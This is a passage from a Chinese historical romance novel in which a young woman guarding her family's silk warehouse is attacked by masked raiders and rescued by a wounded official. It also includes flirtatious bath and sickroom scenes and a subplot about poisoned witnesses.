不会又被他绑起来了吧? 雾气蒸腾,水波荡漾,少女的小脸重新被热流染红,清凌的杏眸目光骤聚。 男子直接行至她面前,将她紧紧攥在手里的浴巾抢过,扔在一旁,声色平静: “你不热?” 纪云瑟拢着胸口处的衣襟,定了定神, “我…我要起来了。” “你不是刚洗?” “不急。” 晏时锦按住她,替她将鬓角沾湿的碎发向后拢了拢,他玉白的中衣一沾水,半透着他胸腹凹凸有致的紧实,弧度在腰间突然变窄,再往下,是…… 纪云瑟闭了闭眼,脸颊生热,出了一脑门的汗: “我…我好热,我要走了……” 男子双手搭在她的双肩,轻缓地推拿起来: “别动,你不是说过,我的手艺好,人也美?” 纪云瑟瞪大了眼睛,一脸茫然后又突然回想起来,当日在这厮的书房,他给自己揉脚踝的时候,她的确如此出言轻薄过他。 她垂眸不语,目光不经意地落在他身下,又脸热地抬起头,听他继续说道: “按摩推拿,讲究的就是力道要足,我曾在军营历练多年,他们自是无法与我比。” 纪云瑟脑子乱糟糟,肩膀被他莫名的力道按住动弹不得,又不知该用什么话辩驳从前自己没有经过深思熟虑,随口造的孽。 晏时锦很是认真,捏着她有些僵硬的肩颈: “你这里有些瘀堵,平日里是不是会疼?” 男子凝眸看向她,高挺的鼻梁上凝着水珠,原本凌厉的眉峰在氤氲雾气中舒展,黑眸也在薄雾后淡了几分颜色,眼尾微挑,长睫舒扬。 纪云瑟捂着骤然加快的小心脏,慌忙别开脸,并不想承认: “不痛。” “你…不用帮我捏了,我…我还有事,真的要走了。” 肩膀被一道力又往下压了压,有骤然的酸痛感传来,纪云瑟不禁“嘶”了一声。 晏时锦当然不会那么容易放过她,温声道: “放松,别用力,你越用力,按揉时会越疼。” “对,试着深呼吸,放松。” 男子原本就白皙的容色在热气熏腾下如敷粉皎玉一般,此刻的眉眼低垂,在水汽缭绕中更加显得 温柔轻软,纪云瑟眨了眨眼,肩膀松了下来。 “对,就是这样。” 指腹有力地揉着,慢慢地,瓷白上泛起了一层淡淡嫣粉, “是不是舒服许多?” “我是否服侍得比他们好?” 少女的防线渐渐卸去,眼睫轻阖,晏时锦能明显感觉到她整个人放松下来,他微不可察地勾了勾唇角。 纪云瑟不知不觉已经在享受着整个肩颈落入他恰到好处的力道推拿中,有酸痛之后的舒爽。 这厮,好像真的什么都会。 整个汤池间安静异常,突然,她感觉到力道在缓缓下移,酥麻颤栗随即跟着放轻了的指尖从四面汇聚而来,闷热的体肤骤然划来一道清凉。 有痒意一点一点地聚拢到一处,纪云瑟霎时反应过来,他…他又想…… “够了!” 她及时在包裹了美色和技巧的陷阱边缘停住脚步,转身拾起扔在一旁的浴巾,立刻将自己包得严严实实, “我…我不洗了!” 她飞快地从浴池中起身,自行擦干了身子,穿好衣裳,“咕咚咕咚”地喝了两杯茶,方觉得脑子清明一些。 恢复神智的少女看着姿态闲适慵懒,靠坐在浴池壁的男子,片刻后,想起了什么: “对了!” “你把沈夫子弄哪里去了?” 终于记起这个人了,晏时锦挑了挑眉: “他是神医,我找他,自然是要他救人。” 纪云瑟有些不信: “救人?救什么人?” “你在担心他?” 晏时锦看了她一眼,眸色不明: “其实,我早就查到了沈绎找人替他守孝丁忧的证据,之前没有动他,那么……” 他顿了顿,就在纪云瑟细思他这话的意思,暗暗松了一口气时,却听他继续道: “却并不表示以后也不会动他。” 纪云瑟: “……” “你什么意思?” 男子转身趴在浴池边,一只手撑着额角,撩了撩眉眼: “除非……” 纪云瑟打断他: “我说过,别用沈夫子威胁我,我不会跟你。” 不管是什么缘故,这厮出于什么目的,既然他早就已经知晓沈夫子的事却没有揭发,算起来,沈夫子的守孝期快结束,到了现在也没有再揭发的必要了。 她才不会因此事被动摇拒绝回京的念头。 晏时锦自然不会真的蠢到用沈绎来胁迫纪云瑟跟他回京城,毕竟她若因此答应了,除了自取其辱,证明沈绎在她心里的重要性,毫无意义。 他转过身,随手拨了拨水花,道: “看来,你那位豁出命去帮你的教书先生在你心里的地位,与门外的几个‘美人’相比,还是差些意思。” 纪云瑟: “……” 她不想搭腔,若是回答了,不管是与否,都是折损了沈夫子的名声。话说,这厮是怎样一步步变成如今这般厚颜无耻的模样? “但沈夫子毕竟是我的师长,若是你敢害他,我绝不会原谅你!” “警告”过他之后,她不想再与他多言,看了一眼他早已经湿透的中衣,道: “我去找身衣裳给你换上。” “不必你亲去。” “崇陶!” 男子朝屏风后唤了一句,纪云瑟眼睁睁看着自己的贴身婢女低着头恭恭敬敬地捧着衣裳入内: “姑爷,您的衣物奴婢去马车上取过来了。” 男子自然而然地抬手指了指,一点儿都不把自己当外人: “搁这儿吧。” 崇陶答应了一声,不敢看浴池的方向,在自家姑娘十分恨铁不成钢的目光中悄然步出门外。 纪云瑟跟着一同逃出来,方发觉日暮已至,别苑点着星星点点的烛火,夜凉风清,立刻吹散了浴池中带出来的丝丝闷热和莫名的旖旎,但心里仍是忿闷。 她斜眼看向崇陶: “我怎么不知道,你成晏国公家的人了?” “他给了你多少报酬?” “哪有嘛!” 崇陶嘻嘻笑了两声,推着自家姑娘进入一侧的耳房,道: “奴婢帮您绾发吧。” 纪云瑟还想质问她两句,为何这厮能旁若无人地闯入到姨母别苑的汤池中来,但想到那厮的手段也只得作罢,问了也是白问。 不多时,晏时锦换好了衣裳出来,是一身浅色的长衫,倒衬得他气质清润,如玉般的面容出尘绝艳了不少,纪云瑟移开目光,向崇陶道: “咱们走。” 晏时锦理所应当地跟着她上了马车,崇陶还不忘替这位“姑爷”收拾了衣物一同带回去。 月明星稀,一前一后,一大一小两辆马车行走在城郊,山林静谧,只有风吹树叶,和偶尔的几声鸟叫。 纪云瑟若是再吞吞吐吐逃避什么,当断不断,更会让两人的关系乱糟糟,她主动替他斟了一杯茶,道: “我真的不想回京城。” 晏时锦手持茶盏,神情淡然: “看出来了。” 她千方百计,不惜在给太后抄经超度的时候死遁,冒着欺君之罪的风险要逃离的地方,自然不会再想回去。 但是,他们必须在一起,而他的几重身份又注定不可能陪着她留在江州或是其他什么远离京城的地方。 “不是因为什么侍卫,更不是什么男宠,那是姨母的,与我没有任何关系,我也没打算……” “我知道。” 晏时锦淡淡打断她,实话实说道: “否则,他们不会活到现在。” “……别那样看着我,他们每一个人的身份你都清楚,一旦曝光,死得都不冤,到时,你们苏氏恐怕也会得个包庇之罪。” 纪云瑟见晏时锦抬手给她斟了茶,看了他一眼,双手捧着杯盏,抢先道: “我想你也不会以此来胁迫我。” 晏时锦不置可否: “听说,如今你照管了苏氏在江州的几家铺子?” 纪云瑟正好也想与他聊一聊,看他一脸认真,似没有别的意思,便跟他说起来: “不错,苏氏在江州的生意不多,只有两家绸缎庄,姨母便交与我看着。” “我想跟着姨母好好学。” 晏时锦看着她容色平静: “你喜欢做生意?” “赚钱谁不喜欢?” 纪云瑟点点头,饮了一口茶,有些烫,她皱了皱眉,习惯性去取一旁冰镇的梅子汤。 晏时锦按住她端着杯盏送往唇边的手,道: “你刚泡了汤泉,不宜喝凉的。” 放下她手中的杯盏,深深看了她一眼后,他似随口问道: “江州这个地方,绸缎生意好不好做?” 纪云瑟细细观察了他的神色,索性将自己与曾氏布庄的纠葛跟他说了一通,并虚心地询问他的意见: “依你看,他们一点儿都不急,还没上门来,是有什么别的打算么?” 晏时锦饮了一口热茶,道: “若换了是你,你会明知对方的目的,还找上门去送钱?” 纪云瑟顿了顿: “可是,若没有别的办法,也只能认了,毕竟是他们抢生意在先。” 晏时锦道: “若是我,便不会。” 纪云瑟顿时来了兴趣,凑近了他一些,道: “你会怎么做?” 男子目光扫过她晶亮的眸子,先问道: “你买来的料子,都放哪里了?” 纪云瑟不解: “库房啊。” 晏时锦摇了摇头,道: “恐怕,你得多派几个高手去守着了!” 纪云瑟脸色变了变: “什么意思?你是说,他们会来偷料子?” “这怎么可能?偷盗?…这不是太明显了?” “不怕我报官?” 身为高官的男子不禁感叹这姑娘根本不知社会险恶: “若是他没留下踪迹,你如何报?” 纪云瑟道: “每匹料子的轴心都有印刻,他们若不能拿出购买的凭据,便是来路不当。” 晏时锦淡淡一笑: “他们盗走之后,还会让你找着?” “你也说,那料子是用来裁衣裳,待你去寻时,曾氏已经将布料做成了衣饰,你如何证明用的是你的料子?” 纪云瑟一时哑口无言,她的确没想过还能这样!但她还是摇摇头,道: “我觉着,这不可能,你就是吓唬我!” 她跟着姨母两年多,从未见过谁会这般做生意。 晏时锦将茶饮尽: “要不要咱们打个赌?就赌曾氏会不会上门来找你。” “若是你输了……” 看着男子隐藏在羊皮下的饿狼爪子隐隐要露出,纪云瑟飞快应声: “不赌!” 很快回到了漪澜苑,纪云瑟看他端坐在自己的屋子里,一点都没有离开的打算,问道: “你今晚没事?” 晏时锦神色轻松: “有你的沈夫子给我的人证治病,我正好休息两日。” 纪云瑟: “……那你在这里好好休息吧!” 男子诧异地看了她一眼: “你要去哪儿?” 纪云瑟眨了眨眼,换上客气的笑容: “多亏你提醒我,今晚,我就打算带着破竹他们,全部都到绸缎庄的库房去守着,看看曾氏到底有没有这个能耐,敢来偷东西!” 第82章 纪云瑟越是细思,越觉得晏时锦所言有理,曾家能横刀抢生意,就根本不是诚信守礼之辈,自然不能套用常理,说不定真的会用什么下三滥的手段来达到目的。 她吩咐了崇陶和效猗收拾了一番,便匆忙要回绸缎庄,她亲自带着数名侍卫看着,总是安心一些。 掌柜的听闻动静,看见是她,吓了一跳,忙忙的吩咐给她腾出一间干净的屋子,又领着她去瞧了一圈库房,听了她的忧虑,安慰道: “小小姐莫担心这个,我做了这么些年的生意,倒没听说正经人家会偷抢货物的。” “况江州城内素来太平,不比那些个穷山恶水之地,小贼不少,但强盗这类,我还真没见过。” 纪云瑟道: “咱们未雨绸缪,总是没错的。” 崇陶看着狭小的屋子和简陋的床榻,忙忙地用蚊烟熏了个透,明日再去准备床帐,但见纪云瑟一句话没有多说,自己也不好抱怨什么。 效猗倒是猜到了自家姑娘别的心思,多半是躲着赖在漪澜苑不走的那位。 几个侍卫轮番守在库房外,一夜安静,纪云瑟亦睡得香甜,第二日是苏滢原本定下的返回江州之期,她用过早膳,交待掌柜的正常营业后,便赶往了苏氏别苑。 管家迎她进门,纪云瑟想起昨日晏时锦突然闯入,也不知用的什么借口,正想问起解释一通,管家看了看她,倒是直言笑道: “小小姐既然已经有了相好的哥儿,与二小姐说一说也无妨,二小姐素来开明,只会为您高兴。” 纪云瑟扯唇一笑,忙道: “您先别告诉姨母,其实,我跟他就是……” “……是,老奴明白,这事自然要小小姐亲自告诉二小姐。” 管家见她吞吞吐吐,一脸了然,又想起昨日那个年轻人,不由得赞道: “那位哥儿样貌是极佳的,看着人品也稳妥,谈吐气质不俗,依老奴多年看人的经验,是个好的,这样的人物,小小姐既遇上了,该抓紧才是。” 这是曾经是跟着纪云瑟外祖父的苏家老管事,对她说这番话自然不算逾礼,倒颇有几分长辈对晚辈的关切之意。 纪云瑟淡笑两声,含糊揭过,转移话题: “上回姨母来信说午后会到,我今日便在这里等她吧。” 管家答应着,要吩咐人去给她准备午膳,却见有门房的小厮进来,送来一封书信,说是扬州加急送来的,二人有些诧异地对视了一眼,管家将信打开看毕,面色有些凝重: “二小姐说有两张牙帖一直办不妥,恐要延后几日回来。” “老奴一会儿还要亲去知府衙门替二小姐问一问。” 纪云瑟皱了皱眉: “姨母不是一早就递交了各式文书么?江州这边也是打点过的,会不会是盐茶道那边出了什么问题?” 管家亦十分不解: “老奴不知。” “论理,咱们是在江州经营,找好了铺子,有了这边府衙的签印,道府那边自会盖章发帖,却不知为何,又出了变故。” 他又劝慰纪云瑟,道: “不过,生意场上,不可预见之事甚多,想必二小姐留在扬州,会有解决之策,您不必担心。” “只管等消息就好。” 纪云瑟答应了一声,苏滢的行事她自是不必担心,如今倒要想想她自作聪明弄来的那一屋子的布匹该怎么办,若曾氏真的不来找她,那这上万两的银子的货,恐怕就得折价处理。 她有些不甘心。 回到绸缎庄,掌柜的亦有些坐不住了,已经过去了好几日,曾氏竟真的没有上门: “盯着曾家采买的人说,他依旧还在江州,并未出城。” 也就是说,他们没有重新进货的意思。 纪云瑟道: “那咱们要做好将这批料子另卖的准备。” 她喝了一口冰冰凉凉的梅子汤,细想了想,道: “你去打听打听,最近江州有哪些大户人家有喜事要办,还有,让裁缝师傅赶制几套新颖别致的衣裳出来,我想个法子送给罗家四小姐,她的生辰将至,必是要办生辰宴的,到时让她做咱们的活招牌,或许在江州的贵女圈子里,能以售卖成衣的方式,消耗一些布料。” 掌柜的应声,道: “正好这两日,铺子新制了几套衣裳,我去拿来给您看一看,若是您觉得好的话,估摸着跟您一般大的姑娘们也会喜欢。” 说罢,便让人将样衣取过来,纪云瑟亲自试过,按着自己的喜好,又细想了想罗姝平日偏爱的颜色式样,让他们改去。 忙了一整日,直到入夜,方闲下来。 崇陶和效猗命人将浴桶抬入房内,纪云瑟沐浴完毕,便准备歇息,她如往常一般,倚靠在床头看一会儿话本子。 看到书里脸红心热的一段文字和一旁的插画时,竟然渐渐觉着身上某处有了异样的酥麻反应。 从前,她也看这类言辞大胆、画风奔放的话本,但说实话,对其中描绘的男女亲近并无甚感觉,仅有的想象,也就是停留在亲吻上,直到那次在马车,晏时锦对她…… 那种欲仙欲醉的切身体验,让她对男女之间的亲密有了实感,在忍不住想去探究的欲望驱使下,竟隐隐生出了许多期待…… “姑娘!” “已至近亥时了,您怎的还没睡?” 一声轻呼,让少女身上骤然起来的鸡皮疙瘩瞬间散了回去,崇陶见她的屋子里一直亮着烛火,已经推开了门,看她涨红的小脸,诧异道: “姑娘,您怎么了,身子不舒服么?” “是不是太热了?” “可要奴婢再给您加一个冰鉴?” “我…没事。” 纪云瑟将她伸过来摸自己额头的手挡开,立时合上让她看得一时忘了时辰的书册,轻咳了两声恢复理智,道: “我…我这就睡了。” 她垂眸将书册塞入自己的枕头下,径直躺下,崇陶给她盖好了被衾,吹熄了两盏烛火后离开。 夜色浓稠,屋内只有一盏微亮的灯影摇曳,纪云瑟阖上眼,脑海中隐约浮现插画中的场景,迷迷糊糊中,有一张俊朗无俦的面孔,和他若隐若现的身体线条出现在眼前。 男子拥她入怀,阔实的胸膛紧贴着她,覆唇吻了过来,勾着她的唇舌厮混缠绕,她被亲得七荤八素,却莫名的畅快。 甚至渐渐地分不清是谁在主动。 她忽的回到了漪澜苑的拔步床,红艳的帐帘透过微暖的光,映着男子清晰光洁的下颌线条,周遭是暧昧旖旎的气息,帐内一片温热潮湿,她抱紧了男子,主动迎了上去…… 与此同时,江州城北郊外的隐秘宅院内,一个十来岁的小女孩躺在李福的身旁,沈绎正在为二人细细诊脉,晏时锦在一旁看着他复杂的神色,问道: “怎么样?” “还有救么?” “大人的毒好解。” 沈绎仔细看了李福之后,笃定道,但看向她身侧的小女孩,却皱紧了眉头。 晏时锦心下一沉,问道: “孩子呢?” 沈绎并未回答,换了她的另一只手,再次压实了寸关尺,阖目许久,又仔细看了她的舌苔和眼瞳,道: “应该也有救。” “我试一试。” 身旁的李福攥紧满是伤痕的手,吃力地抬起晃动着,发出“咿呀”的声音。 晏时锦道: “我既然把你女儿救出,就一定会想办法治好她!” “还有,尤氏的下落我已经查到,正在找救人的时机,你放心,她既是他们用来威胁你的,自然暂时不会有事,我定会将人毫发无损地送到你面前。” 李福用力挥舞双拳,极其费劲地点头,喉咙发出模糊的声音,又看向了身旁的小女孩,眼角流出一道泪痕。 沈绎的神色凝重: “我要给她立刻施针,还有……” 晏时锦道: “需 要什么尽管说。” 沈绎看了一眼四周,问道: “不知此处是否安全?” 他解释道: “她所中之毒来势凶猛,如今已有部分进入脏腑,我需要将解毒之药用针引入她的血脉之中。” “在此期间,她不能移动分毫。” 晏时锦道: “需多久?” 沈绎一面打开针囊,将解毒的丹药摆放好,又移了两盏烛火过来,一面回答: “看情况,至少需半个时辰。” 晏时锦道: “好!你放心治。” 他转身步入厅堂,赤霄道: “禀世子,青霜已经持京卫司的令牌去调江州卫所的戍兵,应该很快能到。” 晏时锦颔首: “你与紫电分守前后,我在此盯着。” 二人领命而去。 晏时锦踱步入内,看着沈绎聚精会神为李福之女治疗,眉心微皱。 果然不出他所料,李福的《百官述》就在他的妻舅手里,但夏氏的人也敏锐地发现了这个线索,在他们动手之前,先行掳走了李福的女儿。 等他们赶过去相救时,夏氏的人已经对小女孩下了毒手,来威胁李福的妻舅,幸好《百官述》的下落被李福的妻舅死死咬住口,并未落入夏氏手中。 只可惜,李福的妻舅为救外甥女身死,没有人问到到底在哪里。 如今,只有李福知晓。 所以必须要治好他,同时为了他开口,还要将她的女儿救活。 但是,他们今日与夏氏那边的人交手,再把人救来此处,对方很容易就发现他们的形迹,说不定很快就会寻过来,他们虽然武功不凡,但毕竟人少,如今只能希望青霜尽快搬来救兵。 果不出所料,沈绎在里侧开始施针不过一盏茶的功夫,屋顶上就有了细细簌簌的脚步声,下一瞬,一支箭矢擦破窗扇疾飞进来,掠过晏时锦微侧的脸颊,深深地刺入他身后的立柱上。 屋后的紫电立时飞身上墙,屋顶刀剑声响起,赤霄依旧护在门口,仔细查看四周动静。 突然一个黑衣人从房梁上倒挂而下,长剑直直向赤霄刺来,赤霄翻身躲开,立刻利剑出鞘,与他缠斗起来。 渐渐的,黑衣人愈来愈多,晏时锦行至里间,向沈绎道: “有我在此守着,不管发生什么事,你只管用心救人。” 沈绎擦了一把额头上冒出的汗粒,点头应了一声,继续将在火上消毒过的针浸入解毒药后,刺入小女孩的穴位之中。 有几个黑衣人绕过被数人缠斗住的紫电和赤霄,进入屋内,晏时锦手气剑落,将几人刺伤,突然,有一人从斜后方突然窜出,一个挪移,绕过晏时锦到了沈绎身旁,剑刃映着寒光扫来,被晏时锦回手一剑挡住,一脚将人踢出窗外。 黑衣人突然增多,晏时锦整个人被团团围住,他既要持剑对付向他刺来的利刃,又要分身关注挥向身后沈绎的剑影,替他扫清危险。 幸好沈绎也不是懦弱庸碌之辈,并未被近在咫尺的打斗所扰,干脆利落地为李福之女行针。 整个院落陷入刀光剑影的打斗中,还有不断从院墙外射入内的乱箭,直到一声鸣镝响起,有整齐划一的马匹脚步声由远及近而来,青霜先一步到达,挥剑砍死几个黑衣人后,大呼一声: “世子,戍兵已到!” 而另一边,城东的苏氏绸缎庄库房,一阵突然的喧哗声撕裂了沉寂的夜色。 “有贼人闯入,快去保护小小姐!” 崇陶和效猗被破竹急促的敲门声叫醒,忙忙地披上衣裳,冲入纪云瑟的房内。 少女从一方未尽的缱绻中醒转过来,看见面色凝重的两个婢女,再看窗棂隐约透进来的晃动的人影和明显的刀剑之声传来,愣了愣神,方明白过来: “真的来抢料子了?” 效猗紧紧抓着她的手,一脸焦灼,道: “奴婢不知,但奴婢和崇陶过来时,的确看到有几个蒙面的黑衣人,正在与破竹流水他们打斗。” 纪云瑟握紧她们颤抖的手,安慰道: “不怕,破竹他们几个武功高强,不会有事!” 她已经见过一次水盗,不似二人这般慌乱。 话虽如此说,但她到底也不太放心,穿好外衫后,她悄悄行至槛窗旁,微微开了一条缝看向窗外,一道剑刃寒光闪过,一旁的崇陶赶紧过来关紧了窗扇。 “姑…姑娘,这…这怎么办?” 纪云瑟深吸了几口气,道: “我去吩咐破竹,一定要抓到一个活口!” 效猗见她去开门,忙拦住: “姑娘,您千万别出去,这太危险了!” “破竹机灵,他知道该如何做。” 纪云瑟道: “无妨,我连水盗都见过了,还怕这几个小贼?” “那样多的布匹,我倒要看看就这几个人,要怎么个偷法!” 崇陶和效猗对视了一眼,二人紧紧按住门,不让自家姑娘出去。僵持间,一仞剑尾骤然门缝插入,“嗖”的一声擦着崇陶的外衫刺进来,几人惊得花容失色,纪云瑟忙将腿已吓软的崇陶和效猗拽过来,紧贴墙角,屏息静气。 崇陶颤抖着声音: “姑…姑娘,怎…怎么办?” “屋内有人!” 门被骤然推开,一个蒙面黑衣人闯入,目光如炬扫视屋内,纪云瑟心一紧,迅速将已经呆愣的崇陶和效猗推到一旁,自己抡起一把绣墩直接砸了过去。 黑衣人闪身轻易躲过,仔细看了一眼纪云瑟,立刻向屋外嚷了一句: “是他家小姐在此!” 院子里的苏家侍卫闻言,立刻加快攻势,破竹目露狠意,手中长剑一扫,直接刺穿一名黑衣人的肩膀,即刻抽身飞奔过来,一剑刺入屋内黑衣人的左胸,护在纪云瑟面前。 谁料,那些黑衣人见此情形,愈发清楚屋内女子的身份,瞬间合围而上,刀光剑影交织,屋内狭小,破竹以一敌众,虽招招狠辣,但体力渐感不支,逐渐后退。 纪云瑟主仆三人被他护在身后,已看出破竹有些吃力,却帮不上忙,只能躲在后不敢乱动,以免给他添乱。 突然,一柄利剑破空而来,直飞向纪云瑟,几人尚未反应过来,她已被从窗口翻入的一个人影拦腰抱住。 “你没事吧?” 男子低沉的声音透着关切,纪云瑟看见他那双熟悉的黑眸,提到嗓子眼的心终于落回原处。 晏时锦上下打量了少女一番,确定她没有受伤,将她护在身后,冷眼扫视四周,手中长剑一挥,瞬间逼退数名黑衣人。 屋外的刀剑喧哗声也慢慢趋于平静,不多时,紫电押着一个黑衣人进来, “禀世子,抓到一个活口!” 纪云瑟忍不住上前质问: “你们是来偷绸缎的?” 竟然派了这么多武功高强之人!曾氏也太下血本了! 那人被捆住双手跪在地上,却不发一言,紫电狠狠地踢了他一脚, “快说!” 那人忽的抬头,眸中闪过一丝狠戾,突然蓄力,将捆绑的绳索挣开,也不知从哪里抽出一柄软剑,直接刺向纪云瑟。 紫电眼疾手快,立即打落剑柄将他制住,却不料几乎是同时,这人又从口中吐出一道细小的黑影,直直射向纪云瑟的方向而来。 当时,所 有人的目光都在刺客手中的剑上,纪云瑟自己也是在疾风逼近时才发现,反应不及,眼睁睁看着黑影逼近。 她本能地闭上眼,却忽觉腰间一紧,一个熟悉的力道将她拥住,下一瞬,是金属相撞落地的声音。 纪云瑟睁开眼,就见晏时锦皱了皱眉,手中剑抽出一半,将一枚六角飞镖打落,紫电冲过来: “世子!” 那黑衣人口中射出暗器之后,唇边流出黑血,倒地而亡。 “暗器有毒!” 纪云瑟才反应过来,拉着晏时锦上下查看了一番: “你没受伤吧?” 男子顺手将她拥紧: “我没事。” 院内的破竹过来禀报: “小小姐,还有两个活口。” “但他们只说自己受雇于人,却不知主家是谁。” 紫电看向自家主子: “世子,还审吗?” 晏时锦看了一眼倒在地上七孔流血的男子,收剑入鞘: “不用了。” “这些不是家丁,多半是附近山上的绿林。” “交去官府。” 破竹带着询问看向自家小姐,见她点点头,他会意押着二人离开。 晏时锦拥住惊魂未定的纪云瑟: “不用怕,我送你回去。” 纪云瑟一直被他紧紧搂着,方回过神,终于想起来问道: “你怎么来了?” 男子刚要回答,突然眉心一皱,闷哼一声。纪云瑟只觉他抱紧自己的手臂霎时松开,整个身体沉沉地落在她的肩上,随即是紫电惊慌的声音: “世子!” 他及时接住了晕倒的自家主子。 温热的怀抱骤远,一阵血腥味传来,纪云瑟低头,发现自己的衣襟已被染红,地面上滴落的血迹分外明显,她这才注意到,晏时锦玄黑的外衫上有深深的血印。 他受伤了? 男子用尽最后的力气看了她一眼,努力吐出几个字: “放心,我没事。” 纪云瑟心下一沉,看向紫电,他神色凝重,先将自家主子扶上了马车,才对跟着一同上来的纪云瑟说了来龙去脉。 “你是说,他之前为了救沈夫子,已被暗箭所伤?” 紫电将自家主子的前片衣襟打开,赫然露出了左胸靠近肩胛处插着的一支黑头暗器,正往外渗着血。 纪云瑟捂着嘴轻呼一声,着急道: “为何不找大夫?” “沈…沈夫子不是在那里么?” 紫电叹了口气: “沈太医正在给两位重要的证人医治,世子不想打扰,并未说自己受伤。” “回城寻大夫的途中,想起夫人您还在守着绸缎庄,不放心您,便赶过来看您。” 纪云瑟: “所以,他是因为我,耽误了治疗,为了救我,加重的伤势?” 她大脑一片空白,只有眼前男子原本白皙的皮肤上醒目的一大片血迹,层层浸染了他素白的里衣。 他明明自己身上有伤,还特意过来看她,帮她杀退了那一帮强盗。 纪云瑟看着他煞白的隽脸,张了张唇,却发不出一丝声音。 紫电道: “不知夫人院中可有大夫?需找大夫为世子将暗器拔出来,” 纪云瑟顺手抹了一把泪: “有大夫,园子里有大夫!” 她掀开车帘疾声道: “快!快回漪澜苑!” “穿杨,你先行赶回去,让陈大夫准备好,快去!” 紫电看着这位姑娘如此,忍不住劝慰道: “夫人不必太忧心,属下查看过,镖上没有毒。” “世子素来身子骨强健……” 话未说完,被他抱着的自家主子“嘶”了一声,紫电一凛,接口道: “…虽强健,但从来未受过这等重…伤,恐怕得好好养一段时日,才…才能…好…” 第83章 夜深人静,漪澜苑主屋灯火通明。 纪云瑟站在屋外看着被鲜血染红的水,一盆一盆地端出来,拧着眉心,不由得攥紧了手中的帕子,陈大夫在一旁看着自家小姐的脸色,劝慰道: “小小姐,老奴刚才瞧了一眼,姑爷的伤口在肩膀处,暗器无毒,当无大碍。” 青霜终究不放心这里的大夫,先行一步把卫所的军医带了过来给晏时锦看伤。 终于,紫电捧着一个托盘出来,上面是沾满血迹的一只玄铁黑镖,纪云瑟看着镖尖的倒钩,瞪大眼睛,倒吸一口凉气: “这…这是那暗器?” 紫电面色凝重地点了点头,道: “夫人,世子已经换好了药,您可以进去看看。” 屋内尚留着血腥气息,男子闭眼躺在窗下的罗汉床上,半露着的肩上紧紧缠着纱布,隐约可见一圈红印,似还在向外渗着血迹,面色唇色明显是因失血过多而导致的苍白。 纪云瑟心乱如麻,他会为了救沈夫子被暗器所伤,多半也是因为自己说了让他照看好她的师长,受了这样重的伤不及时医治,还赶过来救她。 又念及从前种种,只要她开口求了他,不管是什么事,表面他虽不讲情面,一副公事公办的态度,私下里却极力为她周全,一次次为她解决危机。 哪怕他知晓她的目的不纯,对他有隐瞒和利用,他也并未与她计较。 她此刻心情复杂,一时不知如何面对晏时锦待她的心意。 罗汉床上的男子缓缓睁开眼,见少女站在他的床边,眼角还有残留的泪印,他眸光动了动,唇角微不可察地勾了勾。 纪云瑟见他醒了,放下些心来,走近了两步,小心翼翼地问道: “你…没事吧?” 晏时锦双手撑在两侧向她挪了挪,表情痛苦地“嘶”了一声,纪云瑟慌忙过去扶住他,男子皱着眉头的嗓音却是平静: “没事,小伤而已。” “你哭了?” 纪云瑟没有答他,看着他的伤口抿唇不语。 “为了我?” 男子挑了挑眉,露出一抹不可置信的眸光。 纪云瑟目光垂落,撇开头,见他高硕的身体窝在这番狭小的空间里似行动十分费力,犹豫了一下,问道: “你这样是不是很不舒服?” “要么,你养伤的这些时日就睡大床吧,我睡这里。” 晏时锦却没有与她客气,弯唇道: “好,多谢。” 纪云瑟: “……” 答应得这样顺快,倒像是早就预料到的,纪云瑟下意识又看了一眼他左胸渗血的红印,不由得细细回想了一下自己亲眼看到的他的血淋淋的伤口。 最后,目光落回他蜷缩着的双腿。不过,罗汉床的确太窄,难以容下他魁梧的身躯。 “要不要让他们进来扶你过去?” 纪云瑟起身准备出去唤人,晏时锦撑着身体,缓缓坐起,道: “不必,你帮我一把就好。” 纪云瑟小心翼翼地搀住他的手臂,晏时锦顺势搂紧了她的肩膀,借力站起,身形微晃,却强自站稳。 他整个人似被少女扶住,但纪云瑟却感觉不到来自他的重量。 拔步床宽敞许多,男子躺进去后,还留着一大片宽阔的空间,床帐内处处是少女的气息,温暖甜香袭来,他毫不掩饰眼尾松散的神色。 一丝得逞的笑意在他的眸光中一闪而过,纪云瑟为他拉 过薄被衾时,就见晏时锦微微皱眉,问道: “怎么了?还疼么?” 男子看了她一眼,“嘶”了一声: “药力过了,确实很疼。” 纪云瑟有些不知所措: “那我去把军医叫过来,给你配一些止疼药?” “不必了,这里有现成的。” 在她诧异间,已被男子的另一只手揽住了腰,被迫靠近,贴上了唇瓣…… 这厮…… 被黏腻潮湿浸润的吻逐渐加深,纪云瑟俯身下来没有着力点,只得伸手落在他另一侧的胸口,在触摸到他紧实绷紧的胸膛后,脸一热,又不由得缩回手,撑在他的手臂一侧的床沿上。 “唔……” 她触及到他肩头的纱布,用力撇开了头: “你有伤……” “你就是我的药。” 男子不肯放开她,箍住她的纤腰追吻了过去,却不料,敲门声响起,是紫电的声音: “世子,您的药熬好了。” 晏时锦眸光黯了黯,纪云瑟顺势起身, “我去给你拿过来。” 她打开门,想去接紫电手中的托盘,却未见他松手。紫电道: “夫人,让属下来吧。” 纪云瑟见他身后还跟着青霜,明白过来,道: “好。” 待二人进入房内后,她自觉关上了门,去寻破竹。 晏时锦躺在床榻上调整了一番姿势,就见两个下属进来,面色一冷,蹙眉道: “何事?” 紫电来不及掩下瞪大的双眸,赶忙低头,先将熬好的药放在他身侧的案几上,道: “世子,您先喝药罢?” 晏时锦瞥了一眼,坐直了身子: “有事说事。” 青霜上前一步,抱拳道: “禀世子,今夜所有的刺客落网,已经押往卫所牢房,您看,是您亲自审,还是交给总兵大人?” 晏时锦道: “李福的伤如何?” 他从那儿离开时,沈绎已经为李福之女顺利解毒,李福中毒不算深,以沈绎的本事,算起来应该也已经解了毒。 青霜道: “沈太医已经为他行了针,他中毒虽不深,但时间太长,恐怕要明日方能开口。” 晏时锦沉吟片刻: “在李福开口前,沈绎暂不能离开。” “那些刺客先关押,待我们拿到《百官述》之后,再审。” “可有留人看着?” 青霜道: “世子放心,总兵派了两队精兵守着。” “还有,世子您遇刺一事的消息已经散播出去,知府罗弘等江州府衙的官员听说后,一致说要来探望您。” 晏时锦冷笑一声,他这边刚与刺客交手完,那边的知府衙门就知道了,虽然是他有意将消息放出,但这散播的速度也着实惊人。 看来,江州真是一个藏龙卧虎之地! “不见!” “这几日,你们都不要露面。” 他就是要让那些人猜测他的伤势,看看有些人会不会狗急跳墙。 青霜抱拳,道: “属下遵命!” “包括世子您的行踪,也不会有人知晓。” 那些有心之人只会以为他还留在那处隐秘宅院中,盯紧的是那个地方,方便他们得到消息后,立即去取《百官述》。 晏时锦道: “若是我没有猜错,书册就在清州。” 他吩咐青霜,道: 